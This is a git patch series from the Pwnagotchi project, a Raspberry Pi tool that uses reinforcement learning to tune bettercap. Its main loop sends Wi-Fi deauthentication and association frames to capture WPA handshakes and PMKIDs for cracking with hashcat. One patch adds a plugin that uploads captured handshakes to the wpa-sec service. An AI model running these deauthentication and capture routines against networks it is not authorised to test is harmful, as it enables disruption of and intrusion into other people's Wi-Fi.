From 20c365e1cd2ea9fc403b754b6019480b3d6a4fdf Mon Sep 17 00:00:00 2001 From: sp3nx0r Date: Thu, 3 Oct 2019 06:46:20 -0500 Subject: [PATCH 01/64] resolve conflict, adjust getopts args, add /etc/motd to backup --- scripts/update_pwnagotchi.sh | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/scripts/update_pwnagotchi.sh b/scripts/update_pwnagotchi.sh index 97b8a89a..734ed4c2 100644 --- a/scripts/update_pwnagotchi.sh +++ b/scripts/update_pwnagotchi.sh @@ -13,13 +13,14 @@ function usage() { cat < Date: Thu, 3 Oct 2019 22:31:27 +0200 Subject: [PATCH 02/64] documented the reward function (closes #50) --- docs/usage.md | 99 ++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 98 insertions(+), 1 deletion(-) diff --git a/docs/usage.md b/docs/usage.md index 7d6c5d84..e9777bc5 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -1,4 +1,101 @@ -### UI +### Usage + +At its core Pwnagotchi is a very simple creature: we could summarize its main algorithm as: + +```python +# main loop +while True: + # ask bettercap for all visible access points and their clients + aps = get_all_visible_access_points() + # loop each AP + for ap in aps: + # send an association frame in order to grab the PMKID + send_assoc(ap) + # loop each client station of the AP + for client in ap.clients: + # deauthenticate the client to get its half or full handshake + deauthenticate(client) + + wait_for_loot() +``` + +Despite its simplicity, this logic is controlled by several parameters that regulate the wait times, the timeouts, on which channels to hop and so on. + +From `config.yml`: + +```yaml +personality: + # advertise our presence + advertise: true + # perform a deauthentication attack to client stations in order to get full or half handshakes + deauth: true + # send association frames to APs in order to get the PMKID + associate: true + # list of channels to recon on, or empty for all channels + channels: [] + # minimum WiFi signal strength in dBm + min_rssi: -200 + # number of seconds for wifi.ap.ttl + ap_ttl: 120 + # number of seconds for wifi.sta.ttl + sta_ttl: 300 + # time in seconds to wait during channel recon + recon_time: 30 + # number of inactive epochs after which recon_time gets multiplied by recon_inactive_multiplier + max_inactive_scale: 2 + # if more than max_inactive_scale epochs are inactive, recon_time *= recon_inactive_multiplier + recon_inactive_multiplier: 2 + # time in seconds to wait during channel hopping if activity has been performed + hop_recon_time: 10 + # time in seconds to wait during channel hopping if no activity has been performed + min_recon_time: 5 + # maximum amount of deauths/associations per BSSID per session + max_interactions: 3 + # maximum amount of misses before considering the data stale and triggering a new recon + max_misses_for_recon: 5 + # number of active epochs that triggers the excited state + excited_num_epochs: 10 + # number of inactive epochs that triggers the bored state + bored_num_epochs: 15 + # number of inactive epochs that triggers the sad state + sad_num_epochs: 25 +``` + +There is no optimal set of parameters for every situation: when the unit is moving (during a walk for instance) smaller timeouts and RSSI thresholds might be preferred +in order to quickly remove routers that are not in range anymore, while when stationary in high density areas (like an office) other parameters might be better. +The role of the AI is to observe what's going on at the WiFi level, and adjust those parameters in order to maximize the cumulative reward of that loop / epoch. + +#### Reward Function + +After each iteration of the main loop (an `epoch`), the reward, a score that represents how well the parameters performed, is computed as +(an excerpt from `pwnagotchi/ai/reward.py`): + +```python +# state contains the information of the last epoch +# epoch_n is the number of the last epoch +tot_epochs = epoch_n + 1e-20 # 1e-20 is added to avoid a division by 0 +tot_interactions = max(state['num_deauths'] + state['num_associations'], state['num_handshakes']) + 1e-20 +tot_channels = wifi.NumChannels + +# ideally, for each interaction we would have an handshake +h = state['num_handshakes'] / tot_interactions +# small positive rewards the more active epochs we have +a = .2 * (state['active_for_epochs'] / tot_epochs) +# make sure we keep hopping on the widest channel spectrum +c = .1 * (state['num_hops'] / tot_channels) +# small negative reward if we don't see aps for a while +b = -.3 * (state['blind_for_epochs'] / tot_epochs) +# small negative reward if we interact with things that are not in range anymore +m = -.3 * (state['missed_interactions'] / tot_interactions) +# small negative reward for inactive epochs +i = -.2 * (state['inactive_for_epochs'] / tot_epochs) + +reward = h + a + c + b + i + m +``` + +By maximizing this reward value, the AI learns over time to find the set of parameters that better perform with the current environmental conditions. + +### User Interface The UI is available either via display if installed, or via http://pwnagotchi.local:8080/ if you connect to the unit via `usb0` and set a static address on the network interface (change `pwnagotchi` with the hostname of your unit). From 780664b1c0222c54d0592163deb52de758a168cc Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Thu, 3 Oct 2019 22:37:55 +0200 Subject: [PATCH 03/64] fix --- docs/usage.md | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/docs/usage.md b/docs/usage.md index e9777bc5..e23dc686 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -1,4 +1,16 @@ -### Usage +### User Interface + +The UI is available either via display if installed, or via http://pwnagotchi.local:8080/ if you connect to the unit via `usb0` and set a static address on the network interface (change `pwnagotchi` with the hostname of your unit). + +![ui](https://i.imgur.com/XgIrcur.png) + +* **CH**: Current channel the unit is operating on or `*` when hopping on all channels. +* **APS**: Number of access points on the current channel and total visible access points. +* **UP**: Time since the unit has been activated. +* **PWND**: Number of handshakes captured in this session and number of unique networks we own at least one handshake of, from the beginning. +* **AUTO**: This indicates that the algorithm is running with AI disabled (or still loading), it disappears once the AI dependencies have been bootrapped and the neural network loaded. + +### Training the AI At its core Pwnagotchi is a very simple creature: we could summarize its main algorithm as: @@ -95,17 +107,6 @@ reward = h + a + c + b + i + m By maximizing this reward value, the AI learns over time to find the set of parameters that better perform with the current environmental conditions. -### User Interface - -The UI is available either via display if installed, or via http://pwnagotchi.local:8080/ if you connect to the unit via `usb0` and set a static address on the network interface (change `pwnagotchi` with the hostname of your unit). - -![ui](https://i.imgur.com/XgIrcur.png) - -* **CH**: Current channel the unit is operating on or `*` when hopping on all channels. -* **APS**: Number of access points on the current channel and total visible access points. -* **UP**: Time since the unit has been activated. -* **PWND**: Number of handshakes captured in this session and number of unique networks we own at least one handshake of, from the beginning. -* **AUTO**: This indicates that the algorithm is running with AI disabled (or still loading), it disappears once the AI dependencies have been bootrapped and the neural network loaded. ### BetterCAP's Web UI From 56b1d21bb04d62a165b55a21371cc7217e89c3d0 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Thu, 3 Oct 2019 22:59:57 +0200 Subject: [PATCH 04/64] refactored main.py --- sdcard/rootfs/root/pwnagotchi/scripts/main.py | 142 +++++++----------- .../pwnagotchi/plugins/default/example.py | 2 +- .../scripts/pwnagotchi/plugins/default/gps.py | 4 +- .../pwnagotchi/plugins/default/twitter.py | 24 +-- .../scripts/pwnagotchi/ui/display.py | 27 +++- 5 files changed, 87 insertions(+), 112 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/main.py b/sdcard/rootfs/root/pwnagotchi/scripts/main.py index c401c8e1..cba98d5e 100755 --- a/sdcard/rootfs/root/pwnagotchi/scripts/main.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/main.py @@ -12,7 +12,6 @@ import pwnagotchi.version as version import pwnagotchi.plugins as plugins from pwnagotchi.log import SessionParser -from pwnagotchi.voice import Voice from pwnagotchi.agent import Agent from pwnagotchi.ui.display import Display @@ -34,41 +33,6 @@ args = parser.parse_args() config = utils.load_config(args) utils.setup_logging(args, config) -if args.do_clear: - print("clearing the display ...") - cleardisplay = config['ui']['display']['type'] - if cleardisplay in ('inkyphat', 'inky'): - print("inky display") - from inky import InkyPHAT - - epd = InkyPHAT(config['ui']['display']['color']) - epd.set_border(InkyPHAT.BLACK) - self._render_cb = self._inky_render - elif cleardisplay in ('papirus', 'papi'): - print("papirus display") - from pwnagotchi.ui.papirus.epd import EPD - - os.environ['EPD_SIZE'] = '2.0' - epd = EPD() - epd.clear() - elif cleardisplay in ('waveshare_1', 'ws_1', 'waveshare1', 'ws1'): - print("waveshare v1 display") - from pwnagotchi.ui.waveshare.v1.epd2in13 import EPD - - epd = EPD() - epd.init(epd.lut_full_update) - epd.Clear(0xFF) - elif cleardisplay in ('waveshare_2', 'ws_2', 'waveshare2', 'ws2'): - print("waveshare v2 display") - from pwnagotchi.ui.waveshare.v2.waveshare import EPD - - epd = EPD() - epd.init(epd.FULL_UPDATE) - epd.Clear(0xff) - else: - print("unknown display type %s" % cleardisplay) - quit() - plugins.load_from_path(plugins.default_path) if 'plugins' in config['main'] and config['main']['plugins'] is not None: plugins.load_from_path(config['main']['plugins']) @@ -79,74 +43,78 @@ display = Display(config=config, state={'name': '%s>' % pwnagotchi.name()}) agent = Agent(view=display, config=config) logging.info("%s@%s (v%s)" % (pwnagotchi.name(), agent._identity, version.version)) -# for key, value in config['personality'].items(): -# logging.info(" %s: %s" % (key, value)) for _, plugin in plugins.loaded.items(): - logging.info("plugin '%s' v%s loaded from %s" % (plugin.__name__, plugin.__version__, plugin.__file__)) + logging.debug("plugin '%s' v%s loaded from %s" % (plugin.__name__, plugin.__version__, plugin.__file__)) -if args.do_manual: +if args.do_clear: + logging.info("clearing the display ...") + display.clear() + +elif args.do_manual: logging.info("entering manual mode ...") log = SessionParser(config['main']['log']) - logging.info("the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)" % ( - log.duration_human, - log.epochs, - log.train_epochs, - log.avg_reward, - log.min_reward, - log.max_reward)) + logging.info( + "the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)" % ( + log.duration_human, + log.epochs, + log.train_epochs, + log.avg_reward, + log.min_reward, + log.max_reward)) while True: display.on_manual_mode(log) time.sleep(1) if Agent.is_connected(): - plugins.on('internet_available', config, log) + plugins.on('internet_available', display, config, log) - quit() +else: + logging.info("entering auto mode ...") -agent.start_ai() -agent.setup_events() -agent.set_starting() -agent.start_monitor_mode() -agent.start_event_polling() + agent.start_ai() + agent.setup_events() + agent.set_starting() + agent.start_monitor_mode() + agent.start_event_polling() -# print initial stats -agent.next_epoch() + # print initial stats + agent.next_epoch() -agent.set_ready() + agent.set_ready() -while True: - try: - # recon on all channels - agent.recon() - # get nearby access points grouped by channel - channels = agent.get_access_points_by_channel() - # check for free channels to use - agent.check_channels(channels) - # for each channel - for ch, aps in channels: - agent.set_channel(ch) + while True: + try: + # recon on all channels + agent.recon() + # get nearby access points grouped by channel + channels = agent.get_access_points_by_channel() + # check for free channels to use + agent.check_channels(channels) + # for each channel + for ch, aps in channels: + agent.set_channel(ch) - if not agent.is_stale() and agent.any_activity(): - logging.info("%d access points on channel %d" % (len(aps), ch)) + if not agent.is_stale() and agent.any_activity(): + logging.info("%d access points on channel %d" % (len(aps), ch)) - # for each ap on this channel - for ap in aps: - # send an association frame in order to get for a PMKID - agent.associate(ap) - # deauth all client stations in order to get a full handshake - for sta in ap['clients']: - agent.deauth(ap, sta) + # for each ap on this channel + for ap in aps: + # send an association frame in order to get for a PMKID + agent.associate(ap) + # deauth all client stations in order to get a full handshake + for sta in ap['clients']: + agent.deauth(ap, sta) - # An interesting effect of this: - # - # From Pwnagotchi's perspective, the more new access points - # and / or client stations nearby, the longer one epoch of - # its relative time will take ... basically, in Pwnagotchi's universe, - # WiFi electromagnetic fields affect time like gravitational fields - # affect ours ... neat ^_^ - agent.next_epoch() - except Exception as e: - logging.exception("main loop exception") + # An interesting effect of this: + # + # From Pwnagotchi's perspective, the more new access points + # and / or client stations nearby, the longer one epoch of + # its relative time will take ... basically, in Pwnagotchi's universe, + # WiFi electromagnetic fields affect time like gravitational fields + # affect ours ... neat ^_^ + agent.next_epoch() + except Exception as e: + logging.exception("main loop exception") diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py index 9c1c8c42..4166e4ad 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py @@ -18,7 +18,7 @@ def on_loaded(): # called in manual mode when there's internet connectivity -def on_internet_available(config, log): +def on_internet_available(ui, config, log): pass diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py index 7c57b24c..cd292eae 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py @@ -15,14 +15,14 @@ running = False def on_loaded(): - logging.info("GPS plugin loaded for %s" % device) + logging.info("gps plugin loaded for %s" % device) def on_ready(agent): global running if os.path.exists(device): - logging.info("enabling GPS bettercap's module for %s" % device) + logging.info("enabling gps bettercap's module for %s" % device) try: agent.run('gps off') except: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py index 7aa4364b..0c7d8d98 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py @@ -8,16 +8,14 @@ __enabled__ = True import logging from pwnagotchi.voice import Voice -UI = None - def on_loaded(): - logging.info("Twitter plugin loaded.") + logging.info("twitter plugin loaded.") # called in manual mode when there's internet connectivity -def on_internet_available(config, log): - if config['twitter']['enabled'] and log.is_new() and log.handshakes > 0 and UI: +def on_internet_available(ui, config, log): + if config['twitter']['enabled'] and log.is_new() and log.handshakes > 0: try: import tweepy except ImportError: @@ -28,11 +26,11 @@ def on_internet_available(config, log): picture = '/dev/shm/pwnagotchi.png' - UI.on_manual_mode(log) - UI.update(force=True) - UI.image().save(picture, 'png') - UI.set('status', 'Tweeting...') - UI.update(force=True) + ui.on_manual_mode(log) + ui.update(force=True) + ui.image().save(picture, 'png') + ui.set('status', 'Tweeting...') + ui.update(force=True) try: auth = tweepy.OAuthHandler(config['twitter']['consumer_key'], config['twitter']['consumer_secret']) @@ -46,9 +44,3 @@ def on_internet_available(config, log): logging.info("tweeted: %s" % tweet) except Exception as e: logging.exception("error while tweeting") - - -def on_ui_setup(ui): - # need that object - global UI - UI = ui diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py index c8b301a6..ed6b188f 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py @@ -102,12 +102,15 @@ class Display(View): def _is_papirus(self): return self._display_type in ('papirus', 'papi') - def _is_waveshare1(self): + def _is_waveshare_v1(self): return self._display_type in ('waveshare_1', 'ws_1', 'waveshare1', 'ws1') - def _is_waveshare2(self): + def _is_waveshare_v2(self): return self._display_type in ('waveshare_2', 'ws_2', 'waveshare2', 'ws2') + def _is_waveshare(self): + return self._is_waveshare_v1() or self._is_waveshare_v2() + def _init_display(self): if self._is_inky(): logging.info("initializing inky display") @@ -124,7 +127,7 @@ class Display(View): self._display.clear() self._render_cb = self._papirus_render - elif self._is_waveshare1(): + elif self._is_waveshare_v1(): logging.info("initializing waveshare v1 display") from pwnagotchi.ui.waveshare.v1.epd2in13 import EPD self._display = EPD() @@ -133,7 +136,7 @@ class Display(View): self._display.init(self._display.lut_partial_update) self._render_cb = self._waveshare_render - elif self._is_waveshare2(): + elif self._is_waveshare_v2(): logging.info("initializing waveshare v2 display") from pwnagotchi.ui.waveshare.v2.waveshare import EPD self._display = EPD() @@ -149,6 +152,18 @@ class Display(View): self.on_render(self._on_view_rendered) + def clear(self): + if self._display is None: + logging.error("no display object created") + elif self._is_inky(): + self._display.Clear() + elif self._is_papirus(): + self._display.clear() + elif self._is_waveshare(): + self._display.Clear(WHITE) + else: + logging.critical("unknown display type %s" % self._display_type) + def _inky_render(self): if self._display_color != 'mono': display_colors = 3 @@ -183,9 +198,9 @@ class Display(View): def _waveshare_render(self): buf = self._display.getbuffer(self._canvas) - if self._is_waveshare1(): + if self._is_waveshare_v1(): self._display.display(buf) - elif self._is_waveshare2(): + elif self._is_waveshare_v2(): self._display.displayPartial(buf) def image(self): From 92a63c38636b3eeca578c65d05c0652fe89ae8d8 Mon Sep 17 00:00:00 2001 From: Forrest Fuqua Date: Thu, 3 Oct 2019 17:05:07 -0400 Subject: [PATCH 05/64] Update File to randomize gender in build scripts --- scripts/create_sibling.sh | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/scripts/create_sibling.sh b/scripts/create_sibling.sh index 55b784f4..f2f5c5fd 100755 --- a/scripts/create_sibling.sh +++ b/scripts/create_sibling.sh @@ -335,7 +335,13 @@ fi setup_raspbian provision_raspbian -echo -e "[+] Congratz, it's a boy (⌐■_■)!" +#Make a baby with a random gender, maybe do something fun with this later! +gender[0]="boy" +gender[1]="girl" + +rand=$[ $RANDOM % 2 ] + +echo -e "[+] Congratz, it's a ${arr[$rand]} (⌐■_■)!" echo -e "[+] One more step: dd if=../${PWNI_OUTPUT} of= bs=4M status=progress" if [ "${OPT_SPARSE}" -eq 1 ]; From de2a13c1e1c2803155cc2d3b2ed88fe5df0909c6 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Thu, 3 Oct 2019 22:51:26 +0200 Subject: [PATCH 06/64] Add wpa-sec-upload plugin --- .../pwnagotchi/plugins/default/wpa-sec.py | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py new file mode 100644 index 00000000..48ea525c --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py @@ -0,0 +1,76 @@ +__author__ = '33197631+dadav@users.noreply.github.com' +__version__ = '1.0.0' +__name__ = 'wpa_sec' +__license__ = 'GPL3' +__description__ = 'This plugin automatically uploades handshakes to https://wpa-sec.stanev.org' +__enabled__ = False + +import os +import logging +import subprocess + +READY = False +API_KEY = None +ALREADY_UPLOADED = None + +# INSTALLATION: +## apt-get install libcurl4-openssl-dev +## https://github.com/ZerBea/hcxtools.git +## cd hcxtools; gcc wlancap2wpasec.c -o wlancap2wpasec -lcurl +## mv wlancap2wpasec /usr/bin/ + +def on_loaded(): + global READY + global API_KEY + global ALREADY_UPLOADED + + if not API_KEY: + logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org") + return + + try: + subprocess.call("wlancap2wpasec -h >/dev/null".split(), stdout=open(os.devnull, 'wb')) + except OSError: + logging.error("WPA_SEC: Can't find wlancap2wpasec. Install hcxtools to use this plugin!") + return + + try: + with open('/root/.wpa_sec_uploads', 'r') as f: + ALREADY_UPLOADED = f.read().splitlines() + except OSError: + logging.error('WPA_SEC: No upload-file found.') + ALREADY_UPLOADED = [] + + READY = True + + +def _upload_to_wpasec(path): + try: + subprocess.call(f"wlancap2wpasec -k {API_KEY} {path}".split(), stdout=open(os.devnull, 'wb')) + except OSError as os_e: + logging.error(f"WPA_SEC: Error while uploading {path}") + raise os_e + +# called in manual mode when there's internet connectivity +def on_internet_available(display, config, log): + if READY: + + handshake_dir = config['bettercap']['handshakes'] + handshake_filenames = os.listdir(handshake_dir) + handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames] + handshake_new = set(handshake_paths) - set(ALREADY_UPLOADED) + + if handhake_new: + logging.info("Internet connectivity detected.\ + Uploading new handshakes to wpa-sec.stanev.org") + + for idx, handshake in enumerate(handshake_new): + display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new})") + display.update(force=True) + try: + _upload_to_wpasec(handshake) + ALREADY_UPLOADED.append(handshake) + with open('/root/.wpa_sec_uploads', 'a') as f: + f.write(handshake + "\n") + except OSError: + pass From bbe5540c43014f5fe26c8dc6f7ab225e2608d904 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Thu, 3 Oct 2019 23:24:48 +0200 Subject: [PATCH 07/64] plugins are now enabled by config.yml or custom.yml (closes #114) --- sdcard/rootfs/root/pwnagotchi/config.yml | 10 ++++++++-- sdcard/rootfs/root/pwnagotchi/scripts/main.py | 7 +++---- .../pwnagotchi/scripts/pwnagotchi/plugins/__init__.py | 5 ++--- .../scripts/pwnagotchi/plugins/default/example.py | 1 - .../scripts/pwnagotchi/plugins/default/gps.py | 1 - .../scripts/pwnagotchi/plugins/default/memtemp.py | 1 - .../scripts/pwnagotchi/plugins/default/twitter.py | 1 - .../scripts/pwnagotchi/plugins/default/ups_lite.py | 1 - 8 files changed, 13 insertions(+), 14 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index 28f27705..5d786c59 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -3,7 +3,11 @@ main: # currently implemented: en (default), de, nl, it lang: en # custom plugins path, if null only default plugins with be loaded - plugins: null + custom_plugins: + # which plugins to load and enable + plugins: + - gps + - twitter # monitor interface to use iface: mon0 # command to run to bring the mon interface up in case it's not up already @@ -15,7 +19,9 @@ main: # if true, will not restart the wifi module no_restart: false # access points to ignore - whitelist: [] + whitelist: + - EXAMPLE_NETWORK + - ANOTHER_EXAMPLE_NETWORK # if not null, filter access points by this regular expression filter: null # cryptographic key for identity diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/main.py b/sdcard/rootfs/root/pwnagotchi/scripts/main.py index cba98d5e..ac5bacd1 100755 --- a/sdcard/rootfs/root/pwnagotchi/scripts/main.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/main.py @@ -1,5 +1,4 @@ #!/usr/bin/python3 -import os import argparse import time import logging @@ -33,9 +32,9 @@ args = parser.parse_args() config = utils.load_config(args) utils.setup_logging(args, config) -plugins.load_from_path(plugins.default_path) -if 'plugins' in config['main'] and config['main']['plugins'] is not None: - plugins.load_from_path(config['main']['plugins']) +plugins.load_from_path(plugins.default_path, enabled=config['main']['plugins']) +if 'custom_plugins' in config['main'] and config['main']['custom_plugins'] is not None: + plugins.load_from_path(config['main']['custom_plugins'], enabled=config['main']['plugins']) plugins.on('loaded') diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py index bcb89f8e..89afe109 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py @@ -27,14 +27,13 @@ def load_from_file(filename): return plugin_name, instance -def load_from_path(path): +def load_from_path(path, enabled=()): global loaded - for filename in glob.glob(os.path.join(path, "*.py")): name, plugin = load_from_file(filename) if name in loaded: raise Exception("plugin %s already loaded from %s" % (name, plugin.__file__)) - elif not plugin.__enabled__: + elif name not in enabled: # print("plugin %s is not enabled" % name) pass else: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py index 4166e4ad..b425d6ee 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py @@ -3,7 +3,6 @@ __version__ = '1.0.0' __name__ = 'hello_world' __license__ = 'GPL3' __description__ = 'An example plugin for pwnagotchi that implements all the available callbacks.' -__enabled__ = False # IMPORTANT: set this to True to enable your plugin. import logging diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py index cd292eae..f7aa56e6 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/gps.py @@ -3,7 +3,6 @@ __version__ = '1.0.0' __name__ = 'gps' __license__ = 'GPL3' __description__ = 'Save GPS coordinates whenever an handshake is captured.' -__enabled__ = True # set to false if you just don't use GPS import logging import json diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/memtemp.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/memtemp.py index 2b1fc3da..4ef823b0 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/memtemp.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/memtemp.py @@ -7,7 +7,6 @@ __version__ = '1.0.0' __name__ = 'memtemp' __license__ = 'GPL3' __description__ = 'A plugin that will add a memory and temperature indicator' -__enabled__ = False import struct diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py index 0c7d8d98..03aa2514 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py @@ -3,7 +3,6 @@ __version__ = '1.0.0' __name__ = 'twitter' __license__ = 'GPL3' __description__ = 'This plugin creates tweets about the recent activity of pwnagotchi' -__enabled__ = True import logging from pwnagotchi.voice import Voice diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/ups_lite.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/ups_lite.py index 7ddcecdd..d9a37d28 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/ups_lite.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/ups_lite.py @@ -12,7 +12,6 @@ __version__ = '1.0.0' __name__ = 'ups_lite' __license__ = 'GPL3' __description__ = 'A plugin that will add a voltage indicator for the UPS Lite v1.1' -__enabled__ = False import struct From 2749079d256655bfad6b744a38d3cb22e1620f69 Mon Sep 17 00:00:00 2001 From: dipsylala Date: Thu, 3 Oct 2019 22:28:19 +0100 Subject: [PATCH 08/64] Friend status is positioned based on %age of screen height It takes it's queue from the bottom line and places text above it. Tested on WaveShare v2 and Inkyphat. --- sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py index f86b88f0..ca748a0a 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py @@ -86,8 +86,8 @@ class View(object): 'face': Text(value=faces.SLEEP, position=face_pos, color=BLACK, font=fonts.Huge), - 'friend_face': Text(value=None, position=(0, 90), font=fonts.Bold, color=BLACK), - 'friend_name': Text(value=None, position=(40, 93), font=fonts.BoldSmall, color=BLACK), + 'friend_face': Text(value=None, position=(0, (self._height * 0.88) - 15 ), font=fonts.Bold, color=BLACK), + 'friend_name': Text(value=None, position=(40,(self._height * 0.88) - 13 ), font=fonts.BoldSmall, color=BLACK), 'name': Text(value='%s>' % 'pwnagotchi', position=name_pos, color=BLACK, font=fonts.Bold), From d58e416edea2a5545d7fa9eeea4e71174b07a7c2 Mon Sep 17 00:00:00 2001 From: sp3nx0r Date: Thu, 3 Oct 2019 16:35:06 -0500 Subject: [PATCH 09/64] markdown style formatting, adding content to configure --- docs/about.md | 10 +++------- docs/configure.md | 39 ++++++++++++++++++++++----------------- docs/dev.md | 3 ++- docs/faq.md | 2 +- docs/index.md | 2 +- docs/install.md | 9 +++------ docs/plugins.md | 3 +-- docs/usage.md | 41 ++++++++++++++++++----------------------- 8 files changed, 51 insertions(+), 58 deletions(-) diff --git a/docs/about.md b/docs/about.md index 8f141adf..e5f0f375 100644 --- a/docs/about.md +++ b/docs/about.md @@ -1,10 +1,6 @@ -## About the Project +# About the Project -[Pwnagotchi](https://twitter.com/pwnagotchi) is an "AI" that learns from the WiFi environment and instruments -[bettercap](https://www.bettercap.org/) in order to maximize the WPA key material that's being captured either passively - or by performing deauthentication and association attakcs. This material is collected as pcap files containing any form - of handshake supported by [hashcat](https://hashcat.net/hashcat/), including [PMKIDs](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/), -full and half WPA handshakes. +[Pwnagotchi](https://twitter.com/pwnagotchi) is an "AI" that learns from the WiFi environment and instruments [bettercap](https://www.bettercap.org/) in order to maximize the WPA key material that's being captured either passively or by performing deauthentication and association attakcs. This material is collected as pcap files containing any form of handshake supported by [hashcat](https://hashcat.net/hashcat/), including [PMKIDs](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/), full and half WPA handshakes. ![handshake](https://i.imgur.com/pdA4vCZ.png) @@ -20,4 +16,4 @@ If instead you just want to use your own parameters and save battery and CPU cyc ## License -`pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It's released under the GPL3 license. \ No newline at end of file +`pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It's released 